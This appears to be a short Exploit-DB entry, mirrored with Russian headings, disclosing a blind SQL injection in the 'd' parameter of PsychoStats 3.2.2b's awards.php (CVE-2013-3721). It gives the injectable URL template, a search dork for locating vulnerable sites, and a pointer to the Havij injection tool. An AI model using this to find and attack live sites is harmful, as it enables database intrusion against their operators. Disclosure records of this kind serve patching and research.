Exploit PsychoStats 3.2.2b - 'awards.php' Blind SQL Injection

[Exploiter]

EDB-ID

24893

Проверка EDB

1. Пройдено

Автор

MOHAMED FROM ALG

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2013-3721

Дата публикации

2013-03-27

PsychoStats 3.2.2b - 'awards.php' Blind SQL Injection

Exploit Title :  PsychoStats awards.php blind SQL Injection
==============
Date: 27/03/2013 00:50
=====
Author: Mohamed from ALG
======
Vendor or Software Link:http://psychostats.us/
=======================
Version: 3.2.2b
========
Category: webapps
=========
Google Keywords: "Powered by PsychoStats 3.2.2b"
===============
contact: senderberd[at]gmail.com
========

exploit:
========

http://server/awards.php?d=YYYY-MM-DD{Inject hier your blind SQL injection}


Use Havij to easy exploit 
Enjoy 


S.Th To a El Koyot

end